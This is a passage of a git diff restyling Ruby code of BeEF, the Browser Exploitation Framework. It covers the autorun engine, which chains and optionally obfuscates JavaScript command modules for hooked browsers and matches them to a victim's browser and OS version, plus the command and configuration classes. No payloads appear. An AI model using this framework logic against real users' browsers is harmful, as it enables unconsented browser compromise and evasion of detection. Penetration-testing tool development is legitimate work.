setTimeout(function(){#{mods[order[c]][:mod_name]}_#{rule_token}();}, #{delay[c]}); | + delayed_exec += %| setTimeout(function(){#{mods[order[c]][:mod_name]}_#{rule_token}();}, #{delay[c]}); | mod_body = mods[order[c]][:mod_body].to_s.gsub("#{mods[order[c]][:mod_name]}_mod_output", "#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output") wrapped_mod = "#{mod_body}\n" wrapper += wrapped_mod @@ -141,16 +136,17 @@ module BeEF # if the first once return with success. Also, the second module has the possibility of mangling first # module output and use it as input for some of its module inputs. def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token) - wrapper, delayed_exec = '','' - delayed_exec_footers = Array.new + wrapper = '' + delayed_exec = '' + delayed_exec_footers = [] c = 0 while c < mods.length - if mods.length == 1 - i = c - else - i = c + 1 - end + i = if mods.length == 1 + c + else + c + 1 + end code_snippet = '' mod_input = '' @@ -159,11 +155,11 @@ module BeEF mod_input = 'mod_input' end - conditions[i] = true if conditions[i] == nil || conditions[i] == '' + conditions[i] = true if conditions[i].nil? || conditions[i] == '' if c == 0 # this is the first wrapper to prepare - delayed_exec += %Q| + delayed_exec += %| function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){ #{mods[order[c]][:mod_name]}_#{rule_token}(); @@ -185,7 +181,7 @@ module BeEF #{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1]; | - delayed_exec_footer = %Q| + delayed_exec_footer = %| } } } @@ -198,10 +194,10 @@ module BeEF delayed_exec_footers.push(delayed_exec_footer) elsif c < mods.length - 1 - code_snippet = code_snippet.to_s.gsub(mods[order[c-1]][:mod_name], "#{mods[order[c-1]][:mod_name]}_#{rule_token}") + code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], "#{mods[order[c - 1]][:mod_name]}_#{rule_token}") # this is one of the wrappers in the middle of the chain - delayed_exec += %Q| + delayed_exec += %| function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){ if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){ #{code_snippet} @@ -223,7 +219,7 @@ module BeEF #{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1]; | - delayed_exec_footer = %Q| + delayed_exec_footer = %| } } } @@ -236,9 +232,9 @@ module BeEF delayed_exec_footers.push(delayed_exec_footer) else - code_snippet = code_snippet.to_s.gsub(mods[order[c-1]][:mod_name], "#{mods[order[c-1]][:mod_name]}_#{rule_token}") + code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], "#{mods[order[c - 1]][:mod_name]}_#{rule_token}") # this is the last wrapper to prepare - delayed_exec += %Q| + delayed_exec += %| function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){ if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){ #{code_snippet} @@ -258,7 +254,6 @@ module BeEF wrapper end - # prepare the command module (compiling the Erubis templating stuff), eventually obfuscate it, # and store it in the database. # Returns the raw module body after template substitution. @@ -266,16 +261,16 @@ module BeEF config = BeEF::Core::Configuration.instance begin command = BeEF::Core::Models::Command.new( - :data => options.to_json, - :hooked_browser_id => hb_id, - :command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"), - :creationdate => Time.new.to_i, - :instructions_sent => true + data: options.to_json, + hooked_browser_id: hb_id, + command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"), + creationdate: Time.new.to_i, + instructions_sent: true ) command.save! command_module = BeEF::Core::Models::CommandModule.find(mod.id) - if (command_module.path.match(/^Dynamic/)) + if command_module.path.match(/^Dynamic/) # metasploit and similar integrations command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new else @@ -293,18 +288,18 @@ module BeEF build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty? - if config.get("beef.extension.evasion.enable") + if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance command_body = evasion.obfuscate(command_module.output) + "\n\n" else - command_body = command_module.output + "\n\n" + command_body = command_module.output + "\n\n" end # @note prints the event to the console print_more "Preparing JS for command id [#{command.id}], module [#{mod.name}]" - replace_input ? mod_input = 'mod_input' : mod_input = '' - result = %Q| + mod_input = replace_input ? 'mod_input' : '' + result = %| var #{mod.name}_#{rule_token} = function(#{mod_input}){ #{clean_command_body(command_body, replace_input)} }; @@ -312,8 +307,8 @@ module BeEF var #{mod.name}_#{rule_token}_mod_output = null; | - return {:mod_name => mod.name, :mod_body => result} - rescue => e + { mod_name: mod.name, mod_body: result } + rescue StandardError => e print_error e.message print_debug e.backtrace.join("\n") end @@ -324,56 +319,47 @@ module BeEF # # Also replace <> with mod_input variable if needed for chaining module output/input def clean_command_body(command_body, replace_input) - begin - cmd_body = command_body.lines.map(&:chomp) - wrapper_start_index,wrapper_end_index = nil + cmd_body = command_body.lines.map(&:chomp) + wrapper_start_index, wrapper_end_index = nil - cmd_body.each_with_index do |line, index| - if line.to_s =~ /^(beef|[a-zA-Z]+)\.execute\(function\(\)/ - wrapper_start_index = index - break - end - end - if wrapper_start_index.nil? - print_error "[ARE] Could not find module start index" + cmd_body.each_with_index do |line, index| + if line.to_s =~ /^(beef|[a-zA-Z]+)\.execute\(function\(\)/ + wrapper_start_index = index + break end + end + print_error '[ARE] Could not find module start index' if wrapper_start_index.nil? - cmd_body.reverse.each_with_index do |line, index| - if line.include?('});') - wrapper_end_index = index - break - end - end - if wrapper_end_index.nil? - print_error "[ARE] Could not find module end index" + cmd_body.reverse.each_with_index do |line, index| + if line.include?('});') + wrapper_end_index = index + break end + end + print_error '[ARE] Could not find module end index' if wrapper_end_index.nil? - cleaned_cmd_body = cmd_body.slice(wrapper_start_index..-(wrapper_end_index+1)).join("\n") - if cleaned_cmd_body.eql?('') - print_error "[ARE] No command to send" - end + cleaned_cmd_body = cmd_body.slice(wrapper_start_index..-(wrapper_end_index + 1)).join("\n") + print_error '[ARE] No command to send' if cleaned_cmd_body.eql?('') - # check if <> should be replaced with a variable name (depending if the variable is a string or number) - if replace_input - if cleaned_cmd_body.include?('"<>"') - final_cmd_body = cleaned_cmd_body.gsub('"<>"','mod_input') - elsif cleaned_cmd_body.include?('\'<>\'') - final_cmd_body = cleaned_cmd_body.gsub('\'<>\'','mod_input') - elsif cleaned_cmd_body.include?('<>') - final_cmd_body = cleaned_cmd_body.gsub('\'<>\'','mod_input') - else - return cleaned_cmd_body - end - return final_cmd_body + # check if <> should be replaced with a variable name (depending if the variable is a string or number) + if replace_input + if cleaned_cmd_body.include?('"<>"') + final_cmd_body = cleaned_cmd_body.gsub('"<>"', 'mod_input') + elsif cleaned_cmd_body.include?('\'<>\'') + final_cmd_body = cleaned_cmd_body.gsub('\'<>\'', 'mod_input') + elsif cleaned_cmd_body.include?('<>') + final_cmd_body = cleaned_cmd_body.gsub('\'<>\'', 'mod_input') else return cleaned_cmd_body end - rescue => e - print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body" + final_cmd_body + else + cleaned_cmd_body end + rescue StandardError => e + print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body. #{e.message}" end - # Checks if there are any ARE rules to be triggered for the specified hooked browser # # Note: browser version checks are supporting only major versions, ex: C 43, IE 11 @@ -382,105 +368,119 @@ module BeEF # Returns an array with rule IDs that matched and should be triggered. # if rule_id is specified, checks will be executed only against the specified rule (useful # for dynamic triggering of new rulesets ar runtime) - def match(browser, browser_version, os, os_version, rule_id=nil) + def match(browser, browser_version, os, os_version, rule_id = nil) match_rules = [] - if rule_id != nil - rules = [BeEF::Core::Models::Rule.find(rule_id)] - else - rules = BeEF::Core::Models::Rule.all - end - return nil if rules == nil + rules = if rule_id.nil? + BeEF::Core::Models::Rule.all + else + [BeEF::Core::Models::Rule.find(rule_id)] + end + return nil if rules.nil? return nil unless rules.length > 0 - print_info "[ARE] Checking if any defined rules should be triggered on target." - # TODO handle cases where there are multiple ARE rules for the same hooked browser. + print_info '[ARE] Checking if any defined rules should be triggered on target.' + # TODO: handle cases where there are multiple ARE rules for the same hooked browser. # TODO the above works well, but maybe rules need to have priority or something? rules.each do |rule| - begin - browser_match, os_match = false, false + browser_match = false + os_match = false - b_ver_cond = rule.browser_version.split(' ').first - b_ver = rule.browser_version.split(' ').last + b_ver_cond = rule.browser_version.split(' ').first + b_ver = rule.browser_version.split(' ').last - os_ver_rule_cond = rule.os_version.split(' ').first - os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first - os_ver_rule_min = rule.os_version.split(' ').last.split('.').last + os_ver_rule_cond = rule.os_version.split(' ').first + os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first + os_ver_rule_min = rule.os_version.split(' ').last.split('.').last - # Most of the times Linux/*BSD OS doesn't return any version - # (TODO: improve OS detection on these operating systems) - if os_version != nil && !@VERSION_STR.include?(os_version) - os_ver_hook_maj = os_version.split('.').first - os_ver_hook_min = os_version.split('.').last + # Most of the times Linux/*BSD OS doesn't return any version + # (TODO: improve OS detection on these operating systems) + if !os_version.nil? && !@VERSION_STR.include?(os_version) + os_ver_hook_maj = os_version.split('.').first + os_ver_hook_min = os_version.split('.').last - # the following assignments to 0 are need for later checks like: - # 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same - os_ver_hook_min = 0 if os_version.split('.').length == 1 - os_ver_rule_min = 0 if rule.os_version.split('.').length == 1 - else - # most probably Windows XP or Vista. the following is a hack as Microsoft had the brilliant idea - # to switch from strings to numbers in OS versioning. To prevent rewriting code later on, - # we say that XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on. - os_ver_hook_maj, os_ver_hook_min = 5, 0 if os_version == 'XP' - os_ver_hook_maj, os_ver_hook_min = 6, 0 if os_version == 'Vista' + # the following assignments to 0 are need for later checks like: + # 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same + os_ver_hook_min = 0 if os_version.split('.').length == 1 + os_ver_rule_min = 0 if rule.os_version.split('.').length == 1 + else + # most probably Windows XP or Vista. the following is a hack as Microsoft had the brilliant idea + # to switch from strings to numbers in OS versioning. To prevent rewriting code later on, + # we say that XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on. + if os_version == 'XP' + os_ver_hook_maj = 5 + os_ver_hook_min = 0 end - - os_ver_rule_maj, os_ver_rule_min = 5, 0 if os_ver_rule_maj == 'XP' - os_ver_rule_maj, os_ver_rule_min = 6, 0 if os_ver_rule_maj == 'Vista' - - next unless @VERSION.include?(b_ver_cond) - next unless BeEF::Filters::is_valid_browserversion?(b_ver) - - next unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond) - # os_ver without checks as it can be very different or even empty, for instance on linux/bsd) - - # skip rule unless the browser matches - browser_match = false - # check if rule specifies multiple browsers - if rule.browser !~ /\A[A-Z]+\Z/ - rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b| - browser_match = true if b == browser || b == 'ALL' - end - # else, only one browser - else - next unless rule.browser == 'ALL' || browser == rule.browser - # check if the browser version matches - browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s) - if browser_version_match - browser_match = true - else - browser_match = false - end - print_more "Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : #{browser_version_match}" + if os_version == 'Vista' + os_ver_hook_maj = 6 + os_ver_hook_min = 0 end - next unless browser_match - - # skip rule unless the OS matches - next unless rule.os == 'ALL' || os == rule.os - - # check if the OS versions match - if os_version != nil || rule.os_version != 'ALL' - os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s) - os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s) - else - # os_version_match = true if (browser doesn't return an OS version || rule OS version is ALL ) - os_major_version_match, os_minor_version_match = true, true - end - - os_match = true if os_ver_rule_cond == 'ALL' || (os_major_version_match && os_minor_version_match) - print_more "OS version check -> (hook) #{os_version} #{rule.os_version} (rule): #{os_major_version_match && os_minor_version_match}" - - if browser_match && os_match - print_more "Hooked browser and OS type/version MATCH rule: #{rule.name}." - match_rules.push(rule.id) - end - rescue => e - print_error e.message - print_debug e.backtrace.join("\n") end + + if os_ver_rule_maj == 'XP' + os_ver_rule_maj = 5 + os_ver_rule_min = 0 + end + if os_ver_rule_maj == 'Vista' + os_ver_rule_maj = 6 + os_ver_rule_min = 0 + end + + next unless @VERSION.include?(b_ver_cond) + next unless BeEF::Filters.is_valid_browserversion?(b_ver) + + next unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond) + + # os_ver without checks as it can be very different or even empty, for instance on linux/bsd) + + # skip rule unless the browser matches + browser_match = false + # check if rule specifies multiple browsers + if rule.browser =~ /\A[A-Z]+\Z/ + next unless rule.browser == 'ALL' || browser == rule.browser + + # check if the browser version matches + browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s) + browser_match = if browser_version_match + true + else + false + end + print_more "Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : #{browser_version_match}" + else + rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b| + browser_match = true if b == browser || b == 'ALL' + end + # else, only one browser + end + next unless browser_match + + # skip rule unless the OS matches + next unless rule.os == 'ALL' || os == rule.os + + # check if the OS versions match + if !os_version.nil? || rule.os_version != 'ALL' + os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s) + os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s) + else + # os_version_match = true if (browser doesn't return an OS version || rule OS version is ALL ) + os_major_version_match = true + os_minor_version_match = true + end + + os_match = true if os_ver_rule_cond == 'ALL' || (os_major_version_match && os_minor_version_match) + print_more "OS version check -> (hook) #{os_version} #{rule.os_version} (rule): #{os_major_version_match && os_minor_version_match}" + + if browser_match && os_match + print_more "Hooked browser and OS type/version MATCH rule: #{rule.name}." + match_rules.push(rule.id) + end + rescue StandardError => e + print_error e.message + print_debug e.backtrace.join("\n") end print_more "Found [#{match_rules.length}/#{rules.length}] ARE rules matching the hooked browser type/version." - return match_rules + match_rules end # compare versions @@ -491,7 +491,8 @@ module BeEF return true if cond == '<' && ver_a < ver_b return true if cond == '>=' && ver_a >= ver_b return true if cond == '>' && ver_a > ver_b - return false + + false end end end diff --git a/core/main/autorun_engine/parser.rb b/core/main/autorun_engine/parser.rb index ca7515e6b..d0bc8ac4d 100644 --- a/core/main/autorun_engine/parser.rb +++ b/core/main/autorun_engine/parser.rb @@ -6,84 +6,80 @@ module BeEF module Core module AutorunEngine - class Parser - include Singleton def initialize @config = BeEF::Core::Configuration.instance end - BROWSER = ['FF','C','IE','S','O','ALL'] - OS = ['Linux','Windows','OSX','Android','iOS','BlackBerry','ALL'] - VERSION = ['<','<=','==','>=','>','ALL','Vista','XP'] - CHAIN_MODE = ['sequential','nested-forward'] + BROWSER = %w[FF C IE S O ALL] + OS = %w[Linux Windows OSX Android iOS BlackBerry ALL] + VERSION = ['<', '<=', '==', '>=', '>', 'ALL', 'Vista', 'XP'] + CHAIN_MODE = %w[sequential nested-forward] MAX_VER_LEN = 15 # Parse a JSON ARE file and returns an Hash with the value mappings - def parse(name,author,browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode) - begin - success = [true] + def parse(name, author, browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode) + success = [true] - return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode) - return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name) - return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author) - # if multiple browsers were specified, check each browser - if browser.kind_of?(Array) - browser.each do |b| - return [false, 'Illegal browser definition'] unless BROWSER.include?(b) - end - # else, if only one browser was specified, check browser and browser version - else - return [false, 'Illegal browser definition'] unless BROWSER.include?(browser) - if browser_version != 'ALL' - return [false, 'Illegal browser_version definition'] unless - VERSION.include?(browser_version[0,2].gsub(/\s+/,'')) && - BeEF::Filters::is_valid_browserversion?(browser_version[2..-1].gsub(/\s+/,'')) && browser_version.length < MAX_VER_LEN - end + return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode) + return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name) + return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author) + + # if multiple browsers were specified, check each browser + if browser.is_a?(Array) + browser.each do |b| + return [false, 'Illegal browser definition'] unless BROWSER.include?(b) end + # else, if only one browser was specified, check browser and browser version + else + return [false, 'Illegal browser definition'] unless BROWSER.include?(browser) - if os_version != 'ALL' - return [false, 'Illegal os_version definition'] unless - VERSION.include?(os_version[0,2].gsub(/\s+/,'')) && - BeEF::Filters::is_valid_osversion?(os_version[2..-1].gsub(/\s+/,'')) && os_version.length < MAX_VER_LEN + if browser_version != 'ALL' && !(VERSION.include?(browser_version[0, 2].gsub(/\s+/, '')) && + BeEF::Filters.is_valid_browserversion?(browser_version[2..-1].gsub(/\s+/, '')) && browser_version.length < MAX_VER_LEN) + return [false, 'Illegal browser_version definition'] end - - return [false, 'Illegal os definition'] unless OS.include?(os) - - # check if module names, conditions and options are ok - modules.each do |cmd_mod| - mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first - if mod != nil - modk = BeEF::Module.get_key_by_database_id(mod.id) - mod_options = BeEF::Module.get_options(modk) - - opt_count = 0 - mod_options.each do |opt| - if opt['name'] == cmd_mod['options'].keys[opt_count] - opt_count += 1 - else - return [false, "The specified option (#{cmd_mod['options'].keys[opt_count] - }) for module (#{cmd_mod['name']}) does not exist"] - end - end - else - return [false, "The specified module name (#{cmd_mod['name']}) does not exist"] - end - end - - exec_order.each{ |order| return [false, 'execution_order values must be Integers'] unless order.integer?} - exec_delay.each{ |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer?} - - return [false, 'execution_order and execution_delay values must be consistent with modules numbers'] unless - modules.size == exec_order.size && modules.size == exec_delay.size - - success - rescue => e - print_error "#{e.message}" - print_debug "#{e.backtrace.join("\n")}" - return [false, 'Something went wrong.'] end + + if os_version != 'ALL' && !(VERSION.include?(os_version[0, 2].gsub(/\s+/, '')) && + BeEF::Filters.is_valid_osversion?(os_version[2..-1].gsub(/\s+/, '')) && os_version.length < MAX_VER_LEN) + return [false, 'Illegal os_version definition'] + end + + return [false, 'Illegal os definition'] unless OS.include?(os) + + # check if module names, conditions and options are ok + modules.each do |cmd_mod| + mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first + if mod.nil? + return [false, "The specified module name (#{cmd_mod['name']}) does not exist"] + else + modk = BeEF::Module.get_key_by_database_id(mod.id) + mod_options = BeEF::Module.get_options(modk) + + opt_count = 0 + mod_options.each do |opt| + if opt['name'] == cmd_mod['options'].keys[opt_count] + opt_count += 1 + else + return [false, "The specified option (#{cmd_mod['options'].keys[opt_count] + }) for module (#{cmd_mod['name']}) does not exist"] + end + end + end + end + + exec_order.each { |order| return [false, 'execution_order values must be Integers'] unless order.integer? } + exec_delay.each { |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer? } + + return [false, 'execution_order and execution_delay values must be consistent with modules numbers'] unless + modules.size == exec_order.size && modules.size == exec_delay.size + + success + rescue StandardError => e + print_error e.message.to_s + print_debug e.backtrace.join("\n").to_s + [false, 'Something went wrong.'] end end end diff --git a/core/main/autorun_engine/rule_loader.rb b/core/main/autorun_engine/rule_loader.rb index 3b569f4d0..5f9a4a59a 100644 --- a/core/main/autorun_engine/rule_loader.rb +++ b/core/main/autorun_engine/rule_loader.rb @@ -6,9 +6,7 @@ module BeEF module Core module AutorunEngine - class RuleLoader - include Singleton def initialize @@ -18,78 +16,74 @@ module BeEF # this expects parsed JSON as input def load(data) - begin + name = data['name'] + author = data['author'] + browser = data['browser'] || 'ALL' + browser_version = data['browser_version'] || 'ALL' + os = data['os'] || 'ALL' + os_version = data['os_version'] || 'ALL' + modules = data['modules'] + exec_order = data['execution_order'] + exec_delay = data['execution_delay'] + chain_mode = data['chain_mode'] - name = data['name'] - author = data['author'] - browser = data['browser']||'ALL' - browser_version = data['browser_version']||'ALL' - os = data['os']||'ALL' - os_version = data['os_version']||'ALL' - modules = data['modules'] - exec_order = data['execution_order'] - exec_delay = data['execution_delay'] - chain_mode = data['chain_mode'] + parser_result = BeEF::Core::AutorunEngine::Parser.instance.parse( + name, author, browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode + ) - parser_result = BeEF::Core::AutorunEngine::Parser.instance.parse( - name,author,browser,browser_version,os,os_version,modules,exec_order,exec_delay,chain_mode) - - if parser_result.length == 1 && parser_result.first - print_info "[ARE] Ruleset (#{name}) parsed and stored successfully." - if @debug_on - print_more "Target Browser: #{browser} (#{browser_version})" - print_more "Target OS: #{os} (#{os_version})" - print_more "Modules to Trigger:" - modules.each do |mod| - print_more "(*) Name: #{mod['name']}" - print_more "(*) Condition: #{mod['condition']}" - print_more "(*) Code: #{mod['code']}" - print_more "(*) Options:" - mod['options'].each do |key,value| - print_more "\t#{key}: (#{value})" - end - end - print_more "Exec order: #{exec_order}" - print_more "Exec delay: #{exec_delay}" + if parser_result.length == 1 && parser_result.first + print_info "[ARE] Ruleset (#{name}) parsed and stored successfully." + if @debug_on + print_more "Target Browser: #{browser} (#{browser_version})" + print_more "Target OS: #{os} (#{os_version})" + print_more 'Modules to Trigger:' + modules.each do |mod| + print_more "(*) Name: #{mod['name']}" + print_more "(*) Condition: #{mod['condition']}" + print_more "(*) Code: #{mod['code']}" + print_more '(*) Options:' + mod['options'].each do |key, value| + print_more "\t#{key}: (#{value})" + end end - are_rule = BeEF::Core::Models::Rule.new( - :name => name, - :author => author, - :browser => browser, - :browser_version => browser_version, - :os => os, - :os_version => os_version, - :modules => modules.to_json, - :execution_order => exec_order, - :execution_delay => exec_delay, - :chain_mode => chain_mode) - are_rule.save - return { 'success' => true, 'rule_id' => are_rule.id} - else - print_error "[ARE] Ruleset (#{name}): ERROR. " + parser_result.last - return { 'success' => false, 'error' => parser_result.last } + print_more "Exec order: #{exec_order}" + print_more "Exec delay: #{exec_delay}" end - - rescue => e - err = 'Malformed JSON ruleset.' - print_error "[ARE] Ruleset (#{name}): ERROR. #{e} #{e.backtrace}" - return { 'success' => false, 'error' => err } + are_rule = BeEF::Core::Models::Rule.new( + name: name, + author: author, + browser: browser, + browser_version: browser_version, + os: os, + os_version: os_version, + modules: modules.to_json, + execution_order: exec_order, + execution_delay: exec_delay, + chain_mode: chain_mode + ) + are_rule.save + { 'success' => true, 'rule_id' => are_rule.id } + else + print_error "[ARE] Ruleset (#{name}): ERROR. " + parser_result.last + { 'success' => false, 'error' => parser_result.last } end + rescue StandardError => e + err = 'Malformed JSON ruleset.' + print_error "[ARE] Ruleset (#{name}): ERROR. #{e} #{e.backtrace}" + { 'success' => false, 'error' => err } end def load_file(json_rule_path) - begin - rule_file = File.open(json_rule_path, 'r:UTF-8', &:read) - self.load JSON.parse(rule_file) - rescue => e - print_error "[ARE] Failed to load ruleset from #{json_rule_path}" - end + rule_file = File.open(json_rule_path, 'r:UTF-8', &:read) + self.load JSON.parse(rule_file) + rescue StandardError => e + print_error "[ARE] Failed to load ruleset from #{json_rule_path}: #{e.message}" end def load_directory Dir.glob("#{$root_dir}/arerules/enabled/**/*.json") do |rule| print_debug "[ARE] Processing rule: #{rule}" - self.load_file rule + load_file rule end end end diff --git a/core/main/command.rb b/core/main/command.rb index ec9d42607..fe0e8793d 100644 --- a/core/main/command.rb +++ b/core/main/command.rb @@ -43,7 +43,7 @@ module BeEF # class Command attr_reader :datastore, :path, :default_command_url, :beefjs_components, :friendlyname, - :config + :config attr_accessor :zombie, :command_id, :session_id include BeEF::Core::CommandUtils @@ -100,12 +100,12 @@ module BeEF # Returns information about the command in a JSON format. # @return [String] JSON formatted string # - def to_json + def to_json(*_args) { - 'Name' => @friendlyname, + 'Name' => @friendlyname, 'Description' => BeEF::Core::Configuration.instance.get("beef.module.#{@key}.description"), - 'Category' => BeEF::Core::Configuration.instance.get("beef.module.#{@key}.category"), - 'Data' => BeEF::Module.get_options(@key) + 'Category' => BeEF::Core::Configuration.instance.get("beef.module.#{@key}.category"), + 'Data' => BeEF::Module.get_options(@key) }.to_json end @@ -116,7 +116,7 @@ module BeEF # def build_datastore(data) @datastore = JSON.parse data - rescue => e + rescue StandardError => e print_error "Could not build datastore: #{e.message}" end @@ -126,7 +126,7 @@ module BeEF # @param [Hash] http_headers HTTP headers # def build_callback_datastore(result, command_id, beefhook, http_params, http_headers) - @datastore = {'http_headers' => {}} # init the datastore + @datastore = { 'http_headers' => {} } # init the datastore if !http_params.nil? && !http_headers.nil? # get, check and add the http_params to the datastore @@ -166,7 +166,7 @@ module BeEF @datastore['results'] = result @datastore['cid'] = command_id - @datastore['beefhook'] = beefhook + @datastore['beefhook'] = beefhook end # @@ -184,7 +184,7 @@ module BeEF @eruby = Erubis::FastEruby.new(File.read(f)) - #data = BeEF::Core::Configuration.instance.get "beef.module.#{@key}" + # data = BeEF::Core::Configuration.instance.get "beef.module.#{@key}" cc = BeEF::Core::CommandContext.new cc['command_url'] = @default_command_url cc['command_id'] = @command_id @@ -226,7 +226,7 @@ module BeEF def use(component) return if @beefjs_components.include? component - component_path = '/'+component + component_path = '/' + component component_path.gsub!(/beef./, '') component_path.gsub!(/\./, '/') component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" @@ -238,8 +238,9 @@ module BeEF # @todo TODO Document def oc_value(name) - option = BeEF::Core::Models::OptionCache.where(:name => name).first + option = BeEF::Core::Models::OptionCache.where(name: name).first return nil unless option + option.value end @@ -250,8 +251,6 @@ module BeEF end end - private - @use_template @eruby @update_zombie diff --git a/core/main/configuration.rb b/core/main/configuration.rb index 0f260e89f..909db0188 100644 --- a/core/main/configuration.rb +++ b/core/main/configuration.rb @@ -24,12 +24,12 @@ module BeEF raise TypeError, "Configuration file '#{config}' cannot be found" unless File.exist? config begin - #open base config + # open base config @config = load(config) # set default value if key? does not exist @config.default = nil @@config = config - rescue => e + rescue StandardError => e print_error "Fatal Error: cannot load configuration file '#{config}' : #{e.message}" print_error e.backtrace end @@ -42,9 +42,10 @@ module BeEF # @return [Hash] YAML formatted hash def load(file) return nil unless File.exist? file + raw = File.read file YAML.safe_load raw - rescue => e + rescue StandardError => e print_debug "Unable to load configuration file '#{file}' : #{e.message}" print_error e.backtrace end @@ -56,7 +57,7 @@ module BeEF if @config.empty? print_error 'Configuration file is empty' return - end + end if @config['beef'].nil? print_error "Configuration file is malformed: 'beef' is nil" @@ -136,17 +137,17 @@ module BeEF def public_enabled? !get('beef.http.public.host').nil? end - + # # Returns the beef protocol that is used by external resources # e.g. hooked browsers def beef_proto - if public_enabled? && public_https_enabled? then - return 'https' + if public_enabled? && public_https_enabled? + 'https' elsif public_enabled? && !public_https_enabled? - return 'http' + 'http' elsif !public_enabled? - return local_proto + local_proto end end @@ -201,6 +202,7 @@ module BeEF hash[k] end return nil if subhash.nil? + subhash.key?(lastkey) ? subhash[lastkey] : nil end @@ -215,7 +217,7 @@ module BeEF return false if subkeys.empty? hash = { subkeys.shift.to_s => value } - subkeys.each { |v| hash = {v.to_s => hash} } + subkeys.each { |v| hash = { v.to_s => hash } } @config = @config.deep_merge hash true end @@ -231,7 +233,7 @@ module BeEF lastkey = subkeys.pop hash = @config - subkeys.each {|v| hash = hash[v] } + subkeys.each { |v| hash = hash[v] } hash.delete(lastkey).nil? ? false : true end @@ -258,7 +260,7 @@ module BeEF def load_modules_config set('beef.module', {}) # support nested sub-categories, like browser/hooked_domain/ajax_fingerprint - module_configs = File.join("#{$root_dir}/modules/**", "config.yaml") + module_configs = File.join("#{$root_dir}/modules/**", 'config.yaml') Dir.glob(module_configs) do |cf| y = load(cf) if y.nil? @@ -280,9 +282,8 @@ module BeEF private def validate_public_config_variable?(config) - return true if (config['beef']['http']['public'].is_a?(Hash) || - config['beef']['http']['public'].is_a?(NilClass)) - + return true if config['beef']['http']['public'].is_a?(Hash) || + config['beef']['http']['public'].is_a?(NilClass) print_error 'Config path beef.http.public is deprecated.' print_error 'Please use the new format for public variables found' diff --git a/core/main/console/banners.rb b/core/main/console/banners.rb index ce5e25aaf..fabc99e59 100644 --- a/core/main/console/banners.rb +++ b/core/main/console/banners.rb @@ -4,140 +4,138 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Console + module Core + module Console + module Banners + class << self + attr_accessor :interfaces -module Banners - class << self - attr_accessor :interfaces - - # - # Prints BeEF's ascii art - # - def print_ascii_art - if File.exists?('core/main/console/beef.ascii') - File.open('core/main/console/beef.ascii', 'r') do |f| + # + # Prints BeEF's ascii art + # + def print_ascii_art + if File.exist?('core/main/console/beef.ascii') + File.open('core/main/console/beef.ascii', 'r') do |f| while line = f.gets - puts line + puts line end + end end + end + + # + # Prints BeEF's welcome message + # + def print_welcome_msg + config = BeEF::Core::Configuration.instance + version = config.get('beef.version') + print_info "Browser Exploitation Framework (BeEF) #{version}" + data = "Twit: @beefproject\n" + data += "Site: https://beefproject.com\n" + data += "Blog: http://blog.beefproject.com\n" + data += "Wiki: https://github.com/beefproject/beef/wiki\n" + print_more data + print_info 'Project Creator: ' + 'Wade Alcorn'.red + ' (@WadeAlcorn)' + end + + # + # Prints the number of network interfaces beef is operating on. + # Looks like that: + # + # [14:06:48][*] 5 network interfaces were detected. + # + def print_network_interfaces_count + # get the configuration information + configuration = BeEF::Core::Configuration.instance + # local host + beef_host = configuration.local_host + + # create an array of the interfaces the framework is listening on + if beef_host == '0.0.0.0' # the framework will listen on all interfaces + interfaces = Socket.ip_address_list.map { |x| 